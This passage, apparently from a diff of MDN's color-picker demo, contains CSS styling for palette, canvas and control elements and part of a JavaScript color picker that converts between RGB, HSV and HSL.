+	float: left;
+}
+
+#controls .switch:hover {
+	cursor: pointer;
+}
+
+#controls .switch > * {
+	width: 50%;
+	padding: 2px 0;
+	background-color: #EEE;
+	float: left;
+}
+
+#controls .switch [data-active='true'] {
+	color: #FFF;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-color: #777;
+}
+
+/**
+ * 	Trash Can
+ */
+
+#delete {
+	width: 100%;
+	height: 94px;
+	background-color: #DDD;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+
+	text-align: center;
+	color: #777;
+
+	position: relative;
+	float: right;
+}
+
+#delete #trash-can {
+	width: 80%;
+	height: 80%;
+	border: 2px dashed #FFF;
+	border-radius: 5px;
+	background: url('https://mdn.mozillademos.org/files/6085/trash-can.png') no-repeat center;
+
+	position: absolute;
+	top: 10%;
+	left: 10%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	transition: all 0.2s;
+}
+
+#delete[drag-state='enter'] {
+	background-color: #999;
+}
+
+/**
+ * 	Color Theme
+ */
+
+#color-theme {
+	margin: 0 8px 0 0;
+	border: 1px solid #EEE;
+	display: inline-block;
+	float: right;
+}
+
+#color-theme .box {
+	width: 80px;
+	height: 92px;
+	float: left;
+}
+
+/**
+ * Color info box
+ */
+#color-info {
+	width: 360px;
+	float: left;
+}
+
+#color-info .title {
+	width: 100%;
+	padding: 15px;
+	font-size: 18px;
+	text-align: center;
+	background-image: url('https://mdn.mozillademos.org/files/6071/color-wheel.png');
+	background-repeat:no-repeat;
+	background-position: center left 30%;
+}
+
+#color-info .copy-container {
+	position: absolute;
+	top: -100%;
+}
+
+#color-info .property {
+	min-width: 280px;
+	height: 30px;
+	margin: 10px 0;
+	text-align: center;
+	line-height: 30px;
+}
+
+#color-info .property > * {
+	float: left;
+}
+
+#color-info .property .type {
+	width: 60px;
+	height: 100%;
+	padding: 0 16px 0 0;
+	text-align: right;
+}
+
+#color-info .property .value {
+	width: 200px;
+	height: 100%;
+	padding: 0 10px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	font-size: 16px;
+	color: #777;
+	text-align: center;
+	background-color: #FFF;
+	border: none;
+}
+
+#color-info .property .value:hover {
+	color: #37994A;
+}
+
+#color-info .property .value:hover + .copy {
+	background-position: center right;
+}
+
+#color-info .property .copy {
+	width: 24px;
+	height: 100%;
+	padding: 0 5px;
+	background-color: #FFF;
+	background-image: url('https://mdn.mozillademos.org/files/6073/copy.png');
+	background-repeat: no-repeat;
+	background-position: center left;
+	border-left: 1px solid #EEE;
+	text-align: right;
+	float: left;
+}
+
+#color-info .property .copy:hover {
+	background-position: center right;
+}
+
+
+/**
+ * 	Color Palette
+ */
+
+#palette {
+	width: 1000px;
+	padding: 10px 0;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+	background-color: #EEE;
+	color: #777;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#color-palette {
+	width: 640px;
+	font-family: Arial, Helvetica, sans-serif;
+	color: #777;
+	float: left;
+}
+
+#color-palette .container {
+	width: 100%;
+	height: 50px;
+	line-height: 50px;
+	overflow: hidden;
+	float: left;
+	transition: all 0.5s;
+}
+
+#color-palette .container > * {
+	float: left;
+}
+
+#color-palette .title {
+	width: 100px;
+	padding: 0 10px;
+	text-align: right;
+	line-height: inherit;
+}
+
+#color-palette .palette {
+	width: 456px;
+	height: 38px;
+	margin: 3px;
+	padding: 3px;
+	display: table;
+	background-color: #FFF;
+}
+
+#color-palette .palette .sample {
+	width: 30px;
+	height: 30px;
+	margin: 3px;
+	position: relative;
+	border: 1px solid #DDD;
+	float: left;
+	transition: all 0.2s;
+}
+
+#color-palette .palette .sample:hover {
+	cursor: pointer;
+	border-color: #BBB;
+	transform: scale(1.15);
+	border-radius: 3px;
+}
+
+#color-palette .controls {
+}
+
+#color-palette .controls > * {
+	float: left;
+}
+
+#color-palette .controls > *:hover {
+	cursor: pointer;
+}
+
+#color-palette .controls .lock {
+	width: 24px;
+	height: 24px;
+	margin: 10px;
+	padding: 3px;
+	background-image: url('https://mdn.mozillademos.org/files/6077/lock.png');
+	background-repeat: no-repeat;
+	background-position: bottom right;
+}
+
+#color-palette .controls .lock:hover {
+	/*background-image: url('images/unlocked-hover.png');*/
+	background-position: bottom left;
+}
+
+#color-palette .controls .lock[locked-state='true'] {
+	/*background-image: url('images/locked.png');*/
+	background-position: top left ;
+}
+
+#color-palette .controls .lock[locked-state='true']:hover {
+	/*background-image: url('images/lock-hover.png');*/
+	background-position: top right;
+}
+
+/**
+ * Canvas
+ */
+
+#canvas {
+	width: 100%;
+	height: 300px;
+	min-height: 250px;
+	border-top: 1px solid #DDD;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+	position: relative;
+	float: left;
+}
+
+#canvas[data-tutorial='drop'] {
+	text-align: center;
+	font-size: 30px;
+	color: #777;
+}
+
+#canvas[data-tutorial='drop']:before {
+	content: "Drop colors here to compare";
+	width: 40%;
+	padding: 30px 9% 70px 11%;
+
+	background-image: url('https://mdn.mozillademos.org/files/6075/drop.png');
+	background-repeat: no-repeat;
+	background-position: left 35px top 60%;
+
+	text-align: right;
+
+	border: 3px dashed rgb(221, 221, 221);
+	border-radius: 15px;
+
+	position: absolute;
+	top: 50px;
+	left: 20%;
+}
+
+#canvas[data-tutorial='drop']:after {
+	content: "adjust, change or modify";
+	width: 40%;
+	font-size: 24px;
+	position: absolute;
+	top: 130px;
+	left: 32%;
+	z-index: 2;
+}
+
+#canvas [data-tutorial='dblclick'] {
+	background-color: #999 !important;
+}
+
+#canvas [data-tutorial='dblclick']:before {
+	content: "double click to activate";
+	width: 80px;
+	color: #FFF;
+	position: absolute;
+	top: 10%;
+	left: 20%;
+	z-index: 2;
+}
+
+#canvas .sample {
+	width: 100px;
+	height: 100px;
+	min-width: 20px;
+	min-height: 20px;
+	position: absolute;
+	border: 1px solid rgba(255, 255, 255, 0.3);
+}
+
+#canvas .sample:hover {
+	cursor: move;
+}
+
+#canvas .sample[data-active='true']:after {
+	content: "";
+	position: absolute;
+	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+	width: 100%;
+	height: 12px;
+	top: -12px;
+	z-index: 2;
+}
+
+#canvas .sample:hover > * {
+	cursor: pointer;
+	display: block !important;
+}
+
+#canvas .sample .resize-handle {
+	display: none;
+}
+
+#canvas .sample .pick {
+	width: 10px;
+	height: 10px;
+	margin: 5px;
+	background: url('https://mdn.mozillademos.org/files/6079/pick.png') center no-repeat;
+	position: absolute;
+	top: 0;
+	left: 0;
+	display: none;
+}
+
+#canvas .sample .delete {
+	width: 10px;
+	height: 10px;
+	margin: 5px;
+	background: url('https://mdn.mozillademos.org/files/6069/close.png') center no-repeat;
+	position: absolute;
+	top: 0;
+	right: 0;
+	display: none;
+}
+
+
+/**
+ * Canvas controls
+ */
+
+#canvas .toggle-bg {
+	width: 16px;
+	height: 16px;
+	margin: 5px;
+	background: url("images/canvas-controls.png") center left no-repeat;
+	position: absolute;
+	top: 0;
+	right: 0;
+}
+
+#canvas .toggle-bg:hover {
+	cursor: pointer;
+}
+
+#canvas[data-bg='true'] {
+	background: none;
+}
+
+#canvas[data-bg='true'] .toggle-bg {
+	background: url('https://mdn.mozillademos.org/files/6067/canvas-controls.png') center right no-repeat;
+}
+
+#zindex {
+	height: 20px;
+	margin: 5px;
+	font-size: 16px;
+	position: absolute;
+	opacity: 0;
+	top: -10000px;
+	left: 0;
+	color: #777;
+	float: left;
+	transition: opacity 1s;
+}
+
+#zindex input {
+	border: 1px solid #DDD;
+	font-size: 16px;
+	color: #777;
+}
+
+#zindex .ui-input-slider-info {
+	width: 60px;
+}
+
+#zindex[data-active='true'] {
+	top: 0;
+	opacity: 1;
+}
+
+
+ +

JavaScript Content

+ +
'use strict';
+
+var UIColorPicker = (function UIColorPicker() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	var subscribers = [];
+	var pickers = [];
+
+	/**
+	 * RGBA Color class
+	 *
+	 * HSV/HSB and HSL (hue, saturation, value / brightness, lightness)
+	 * @param hue			0-360
+	 * @param saturation	0-100
+	 * @param value 		0-100
+	 * @param lightness		0-100
+	 */
+
+	function Color(color) {
+
+		if(color instanceof Color === true) {
+			this.copy(color);
+			return;
+		}
+
+		this.r = 0;
+		this.g = 0;
+		this.b = 0;
+		this.a = 1;
+		this.hue = 0;
+		this.saturation = 0;
+		this.value = 0;
+		this.lightness = 0;
+		this.format = 'HSV';
+	}
+
+	function RGBColor(r, g, b) {
+		var color = new Color();
+		color.setRGBA(r, g, b, 1);
+		return color;
+	}
+
+	function RGBAColor(r, g, b, a) {
+		var color = new Color();
+		color.setRGBA(r, g, b, a);
+		return color;
+	}
+
+	function HSVColor(h, s, v) {
+		var color = new Color();
+		color.setHSV(h, s, v);
+		return color;
+	}
+
+	function HSVAColor(h, s, v, a) {
+		var color = new Color();
+		color.setHSV(h, s, v);
+		color.a = a;
+		return color;
+	}
+
+	function HSLColor(h, s, l) {
+		var color = new Color();
+		color.setHSL(h, s, l);
+		return color;
+	}
+
+	function HSLAColor(h, s, l, a) {
+		var color = new Color();
+		color.setHSL(h, s, l);
+		color.a = a;
+		return color;
+	}
+
+	Color.prototype.copy = function copy(obj) {
+		if(obj instanceof Color !== true) {
+			console.log('Typeof parameter not Color');
+			return;
+		}
+
+		this.r = obj.r;
+		this.g = obj.g;
+		this.b = obj.b;
+		this.a = obj.a;
+		this.hue = obj.hue;
+		this.saturation = obj.saturation;
+		this.value = obj.value;
+		this.format = '' + obj.format;
+		this.lightness = obj.lightness;
+	};
+
+	Color.prototype.setFormat = function setFormat(format) {
+		if (format === 'HSV')
+			this.format = 'HSV';
+		if (format === 'HSL')
+			this.format = 'HSL';
+	};
+
+	/*========== Methods to set Color Properties ==========*/
+
+	Color.prototype.isValidRGBValue = function isValidRGBValue(value) {
+		return (typeof(value) === 'number' && isNaN(value) === false &&
+			value >= 0 && value <= 255);
+	};
+
+	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
+		if (this.isValidRGBValue(red) === false ||
+			this.isValidRGBValue(green) === false ||
+			this.isValidRGBValue(blue) === false)
+			return;
+
+			this.r = red | 0;
+			this.g = green | 0;
+			this.b = blue | 0;
+
+		if (this.isValidRGBValue(alpha) === true)
+			this.a = alpha | 0;
+	};
+
+	Color.prototype.setByName = function setByName(name, value) {
+		if (name === 'r' || name === 'g' || name === 'b') {
+			if(this.isValidRGBValue(value) === false)
+				return;
+
+			this[name] = value;
+			this.updateHSX();
+		}
+	};
+
+	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.value = value;
+		this.HSVtoRGB();
+	};
+
+	Color.prototype.setHSL = function setHSL(hue, saturation, lightness) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.lightness = lightness;
+		this.HSLtoRGB();
+	};
+
+	Color.prototype.setHue = function setHue(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value < 0 || value > 359)
+			return;
+		this.hue = value;
+		this.updateRGB();
+	};
+
+	Color.prototype.setSaturation = function setSaturation(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value < 0 || value > 100)
+			return;
+		this.saturation = value;
+		this.updateRGB();
+	};
+
+	Color.prototype.setValue = function setValue(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value < 0 || value > 100)
+			return;
+		this.value = value;
+		this.HSVtoRGB();
+	};
+
+	Color.prototype.setLightness = function setLightness(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value < 0 || value > 100)
+			return;
+		this.lightness = value;
+		this.HSLtoRGB();
+	};
+
+	Color.prototype.setHexa = function setHexa(value) {
+		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value);
+
+		if (valid !== true)
+			return;
+
+		if (value[0] === '#')
+			value = value.slice(1, value.length);
+
+		if (value.length === 3)
+			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,'$1$1$2$2$3$3');
+
+		this.r = parseInt(value.substr(0, 2), 16);
+		this.g = parseInt(value.substr(2, 2), 16);
+		this.b = parseInt(value.substr(4, 2), 16);
+
+		this.alpha	= 1;
+		this.RGBtoHSV();
+	};
+
+	/*========== Conversion Methods ==========*/
+
+	Color.prototype.convertToHSL = function convertToHSL() {
+		if (this.format === 'HSL')
+			return;
+
+		this.setFormat('HSL');
+		this.RGBtoHSL();
+	};
+
+	Color.prototype.convertToHSV = function convertToHSV() {
+		if (this.format === 'HSV')
+			return;
+
+		this.setFormat('HSV');
+		this.RGBtoHSV();
+	};
+
+	/*========== Update Methods ==========*/
+
+	Color.prototype.updateRGB = function updateRGB() {
+		if (this.format === 'HSV') {
+			this.HSVtoRGB();
+			return;
+		}
+
+		if (this.format === 'HSL') {
+			this.HSLtoRGB();
+			return;
+		}
+	};
+
+	Color.prototype.updateHSX = function updateHSX() {
+		if (this.format === 'HSV') {
+			this.RGBtoHSV();
+			return;
+		}
+
+		if (this.format === 'HSL') {
+			this.RGBtoHSL();
+			return;
+		}
+	};
+
+	Color.prototype.HSVtoRGB = function HSVtoRGB() {
+		var sat = this.saturation / 100;
+		var value = this.value / 100;
+		var C = sat * value;
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = value - C;
+		var precision = 255;
+
+		C = (C + m) * precision | 0;
+		X = (X + m) * precision | 0;
+		m = m * precision | 0;
+
+		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
+		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
+		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
+		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
+		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
+		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
+	};
+
+	Color.prototype.HSLtoRGB = function HSLtoRGB() {
+		var sat = this.saturation / 100;
+		var light = this.lightness / 100;
+		var C = sat * (1 - Math.abs(2 * light - 1));
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = light - C/2;
+		var precision = 255;
+
+		C = (C + m) * precision | 0;
+		X = (X + m) * precision | 0;
+		m = m * precision | 0;
+
+		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
+		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
+		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
+		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
+		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
+		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
+	};
+
+	Color.prototype.RGBtoHSV = function RGBtoHSV() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / cmax;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue < 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.value = (cmax * 100) | 0;
+	};
+
+	Color.prototype.RGBtoHSL = function RGBtoHSL() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+		var lightness = (cmax + cmin) / 2;
+		var X = (1 - Math.abs(2 * lightness - 1));
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / X;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue < 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.lightness = (lightness * 100) | 0;
+	};
+
+	/*========== Get Methods ==========*/
+
+	Color.prototype.getHexa = function getHexa() {
+		var r = this.r.toString(16);
+		var g = this.g.toString(16);
+		var b = this.b.toString(16);
+		if (this.r < 16) r = '0' + r;
+		if (this.g < 16) g = '0' + g;
+		if (this.b < 16) b = '0' + b;
+		var value = '#' + r + g + b;
+		return value.toUpperCase();
+	};
+
+	Color.prototype.getRGBA = function getRGBA() {
+
+		var rgb = '(' + this.r + ', ' + this.g + ', ' + this.b;
+		var a = '';
+		var v = '';
+		var x = parseFloat(this.a);
+		if (x !== 1) {
+			a = 'a';
+			v = ', ' + x;
+		}
+
+		var value = 'rgb' + a + rgb + v + ')';
+		return value;
+	};
+
+	Color.prototype.getHSLA = function getHSLA() {
+		if (this.format === 'HSV') {
+			var color = new Color(this);
+			color.setFormat('HSL');
+			color.updateHSX();
+			return color.getHSLA();
+		}
+
+		var a = '';
+		var v = '';
+		var hsl = '(' + this.hue + ', ' + this.saturation + '%, ' + this.lightness +'%';
+		var x = parseFloat(this.a);
+		if (x !== 1) {
+			a = 'a';
+			v = ', ' + x;
+		}
+
+		var value = 'hsl' + a + hsl + v + ')';
+		return value;
+	};
+
+	Color.prototype.getColor = function getColor() {
+		if (this.a | 0 === 1)
+			return this.getHexa();
+		return this.getRGBA();
+	};
+
+	/*=======================================================================*/
+	/*=======================================================================*/
+
+	/*========== Capture Mouse Movement ==========*/
+
+	var setMouseTracking = function setMouseTracking(elem, callback) {
+		elem.addEventListener('mousedown', function(e) {
+			callback(e);
+			document.addEventListener('mousemove', callback);
+		});
+
+		document.addEventListener('mouseup', function(e) {
+			document.removeEventListener('mousemove', callback);
+		});
+	};
+
+	/*====================*/
+	// Color Picker Class
+	/*====================*/
+
+	function ColorPicker(node) {
+		this.color = new Color();
+		this.node = node;
+		this.subscribers = [];
+
+		var type = this.node.getAttribute('data-mode');
+		var topic = this.node.getAttribute('data-topic');
+
+		this.topic = topic;
+		this.picker_mode = (type === 'HSL') ? 'HSL' : 'HSV';
+		this.color.setFormat(this.picker_mode);
+
+		this.createPickingArea();
+		this.createHueArea();
+
+		this.newInputComponent('H', 'hue', this.inputChangeHue.bind(this));
+		this.newInputComponent('S', 'saturation', this.inputChangeSaturation.bind(this));
+		this.newInputComponent('V', 'value', this.inputChangeValue.bind(this));
+		this.newInputComponent('L', 'lightness', this.inputChangeLightness.bind(this));
+
+		this.createAlphaArea();
+
+		this.newInputComponent('R', 'red', this.inputChangeRed.bind(this));
+		this.newInputComponent('G', 'green', this.inputChangeGreen.bind(this));
+		this.newInputComponent('B', 'blue', this.inputChangeBlue.bind(this));
+
+		this.createPreviewBox();
+		this.createChangeModeButton();
+
+		this.newInputComponent('alpha', 'alpha', this.inputChangeAlpha.bind(this));
+		this.newInputComponent('hexa', 'hexa', this.inputChangeHexa.bind(this));
+
+		this.setColor(this.color);
+		pickers[topic] = this;
+	}
+
+	/*************************************************************************/
+	//				Function for generating the color-picker
+	/*************************************************************************/
+
+	ColorPicker.prototype.createPickingArea = function createPickingArea() {
+		var area = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'picking-area';
+		picker.className = 'picker';
+
+		this.picking_area = area;
+		this.color_picker = picker;
+		setMouseTracking(area, this.updateColor.bind(this));
+
+		area.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createHueArea = function createHueArea() {
+		var area = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'hue';
+		picker.className ='slider-picker';
+
+		this.hue_area = area;
+		this.hue_picker = picker;
+		setMouseTracking(area, this.updateHueSlider.bind(this));
+
+		area.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createAlphaArea = function createAlphaArea() {
+		var area = document.createElement('div');
+		var mask = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'alpha';
+		mask.className = 'alpha-mask';
+		picker.className = 'slider-picker';
+
+		this.alpha_area = area;
+		this.alpha_mask = mask;
+		this.alpha_picker = picker;
+		setMouseTracking(area, this.updateAlphaSlider.bind(this));
+
+		area.appendChild(mask);
+		mask.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createPreviewBox = function createPreviewBox(e) {
+		var preview_box = document.createElement('div');
+		var preview_color = document.createElement('div');
+
+		preview_box.className = 'preview';
+		preview_color.className = 'preview-color';
+
+		this.preview_color = preview_color;
+
+		preview_box.appendChild(preview_color);
+		this.node.appendChild(preview_box);
+	};
+
+	ColorPicker.prototype.newInputComponent = function newInputComponent(title, topic, onChangeFunc) {
+		var wrapper = document.createElement('div');
+		var input = document.createElement('input');
+		var info = document.createElement('span');
+
+		wrapper.className = 'input';
+		wrapper.setAttribute('data-topic', topic);
+		info.textContent = title;
+		info.className = 'name';
+		input.setAttribute('type', 'text');
+
+		wrapper.appendChild(info);
+		wrapper.appendChild(input);
+		this.node.appendChild(wrapper);
+
+		input.addEventListener('change', onChangeFunc);
+		input.addEventListener('click', function() {
+			this.select();
+		});
+
+		this.subscribe(topic, function(value) {
+			input.value = value;
+		});
+	};
+
+	ColorPicker.prototype.createChangeModeButton = function createChangeModeButton() {
+
+		var button = document.createElement('div');
+		button.className = 'switch_mode';
+		button.addEventListener('click', function() {
+			if (this.picker_mode === 'HSV')
+				this.setPickerMode('HSL');
+			else
+				this.setPickerMode('HSV');
+
+		}.bind(this));
+
+		this.node.appendChild(button);
+	};
+
+	/*************************************************************************/
+	//					Updates properties of UI elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.updateColor = function updateColor(e) {
+		var x = e.pageX - this.picking_area.offsetLeft;
+		var y = e.pageY - this.picking_area.offsetTop;
+		var picker_offset = 5;
+
+		// width and height should be the same
+		var size = this.picking_area.clientWidth;
+
+		if (x > size) x = size;
+		if (y > size) y = size;
+		if (x < 0) x = 0;
+		if (y < 0) y = 0;
+
+		var value = 100 - (y * 100 / size) | 0;
+		var saturation = x * 100 / size | 0;
+
+		if (this.picker_mode === 'HSV')
+			this.color.setHSV(this.color.hue, saturation, value);
+		if (this.picker_mode === 'HSL')
+			this.color.setHSL(this.color.hue, saturation, value);
+
+		this.color_picker.style.left = x - picker_offset + 'px';
+		this.color_picker.style.top = y - picker_offset + 'px';
+
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('value', value);
+		this.notify('lightness', value);
+		this.notify('saturation', saturation);
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.updateHueSlider = function updateHueSlider(e) {
+		var x = e.pageX - this.hue_area.offsetLeft;
+		var width = this.hue_area.clientWidth;
+
+		if (x < 0) x = 0;
+		if (x > width) x = width;
+
+		// TODO 360 => 359
+		var hue = ((359 * x) / width) | 0;
+		// if (hue === 360) hue = 359;
+
+		this.updateSliderPosition(this.hue_picker, x);
+		this.setHue(hue);
+	};
+
+	ColorPicker.prototype.updateAlphaSlider = function updateAlphaSlider(e) {
+		var x = e.pageX - this.alpha_area.offsetLeft;
+		var width = this.alpha_area.clientWidth;
+
+		if (x < 0) x = 0;
+		if (x > width) x = width;
+
+		this.color.a = (x / width).toFixed(2);
+
+		this.updateSliderPosition(this.alpha_picker, x);
+		this.updatePreviewColor();
+
+		this.notify('alpha', this.color.a);
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.setHue = function setHue(value) {
+		this.color.setHue(value);
+
+		this.updatePickerBackground();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+		this.notify('hue', this.color.hue);
+
+		notify(this.topic, this.color);
+	};
+
+	// Updates when one of Saturation/Value/Lightness changes
+	ColorPicker.prototype.updateSLV = function updateSLV() {
+		this.updatePickerPosition();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+
+		notify(this.topic, this.color);
+	};
+
+	/*************************************************************************/
+	//				Update positions of various UI elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.updatePickerPosition = function updatePickerPosition() {
+		var size = this.picking_area.clientWidth;
+		var value = 0;
+		var offset = 5;
+
+		if (this.picker_mode === 'HSV')
+			value = this.color.value;
+		if (this.picker_mode === 'HSL')
+			value = this.color.lightness;
+
+		var x = (this.color.saturation * size / 100) | 0;
+		var y = size - (value * size / 100) | 0;
+
+		this.color_picker.style.left = x - offset + 'px';
+		this.color_picker.style.top = y - offset + 'px';
+	};
+
+	ColorPicker.prototype.updateSliderPosition = function updateSliderPosition(elem, pos) {
+		elem.style.left = Math.max(pos - 3, -2) + 'px';
+	};
+
+	ColorPicker.prototype.updateHuePicker = function updateHuePicker() {
+		var size = this.hue_area.clientWidth;
+		var offset = 1;
+		var pos = (this.color.hue * size / 360 ) | 0;
+		this.hue_picker.style.left = pos - offset + 'px';
+	};
+
+	ColorPicker.prototype.updateAlphaPicker = function updateAlphaPicker() {
+		var size = this.alpha_area.clientWidth;
+		var offset = 1;
+		var pos = (this.color.a * size) | 0;
+		this.alpha_picker.style.left = pos - offset + 'px';
+	};
+
+	/*************************************************************************/
+	//						Update background colors
+	/*************************************************************************/
+
+	ColorPicker.prototype.updatePickerBackground = function updatePickerBackground() {
+		var nc = new Color(this.color);
+		nc.setHSV(nc.hue, 100, 100);
+		this.picking_area.style.backgroundColor = nc.getHexa();
+	};
+
+	ColorPicker.prototype.updateAlphaGradient = function updateAlphaGradient() {
+		this.alpha_mask.style.backgroundColor = this.color.getHexa();
+	};
+
+	ColorPicker.prototype.updatePreviewColor = function updatePreviewColor() {
+		this.preview_color.style.backgroundColor = this.color.getColor();
+	};
+
+	/*************************************************************************/
+	//						Update input elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.inputChangeHue = function inputChangeHue(e) {
+		var value = parseInt(e.target.value);
+		this.setHue(value);
+		this.updateHuePicker();
+	};
+
+	ColorPicker.prototype.inputChangeSaturation = function inputChangeSaturation(e) {
+		var value = parseInt(e.target.value);
+		this.color.setSaturation(value);
+		e.target.value = this.color.saturation;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeValue = function inputChangeValue(e) {
+		var value = parseInt(e.target.value);
+		this.color.setValue(value);
+		e.target.value = this.color.value;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeLightness = function inputChangeLightness(e) {
+		var value = parseInt(e.target.value);
+		this.color.setLightness(value);
+		e.target.value = this.color.lightness;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeRed = function inputChangeRed(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('r', value);
+		e.target.value = this.color.r;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeGreen = function inputChangeGreen(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('g', value);
+		e.target.value = this.color.g;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeBlue = function inputChangeBlue(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('b', value);
+		e.target.value = this.color.b;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeAlpha = function inputChangeAlpha(e) {
+		var value = parseFloat(e.target.value);
+
+		if (typeof value === 'number' && isNaN(value) === false &&
+			value >= 0 && value <= 1)
+			this.color.a = value.toFixed(2);
+
+		e.target.value = this.color.a;
+		this.updateAlphaPicker();
+	};
+
+	ColorPicker.prototype.inputChangeHexa = function inputChangeHexa(e) {
+		var value = e.target.value;
+		this.color.setHexa(value);
+		this.setColor(this.color);
+	};
+
+	/*************************************************************************/
+	//							Internal Pub/Sub
+	/*************************************************************************/
+
+	ColorPicker.prototype.subscribe = function subscribe(topic, callback) {
+		this.subscribers[topic] = callback;
+	};
+
+	ColorPicker.prototype.notify = function notify(topic, value) {
+		if (this.subscribers[topic])
+			this.subscribers[topic](value);
+	};
+
+	/*************************************************************************/
+	//							Set Picker Properties
+	/*************************************************************************/
+
+	ColorPicker.prototype.setColor = function setColor(color) {
+		if(color instanceof Color !== true) {
+			console.log('Typeof parameter not Color');
+			return;
+		}
+
+		if (color.format !== this.picker_mode) {
+			color.setFormat(this.picker_mode);
+			color.updateHSX();
+		}
+
+		this.color.copy(color);
+		this.updateHuePicker();
+		this.updatePickerPosition();
+		this.updatePickerBackground();
+		this.updateAlphaPicker();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+
+		this.notify('hue', this.color.hue);
+		this.notify('saturation', this.color.saturation);
+		this.notify('value', this.color.value);
+		this.notify('lightness', this.color.lightness);
+
+		this.notify('alpha', this.color.a);
+		this.notify('hexa', this.color.getHexa());
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.setPickerMode = function setPickerMode(mode) {
+		if (mode !== 'HSV' && mode !== 'HSL')
+			return;
+
+		this.picker_mode = mode;
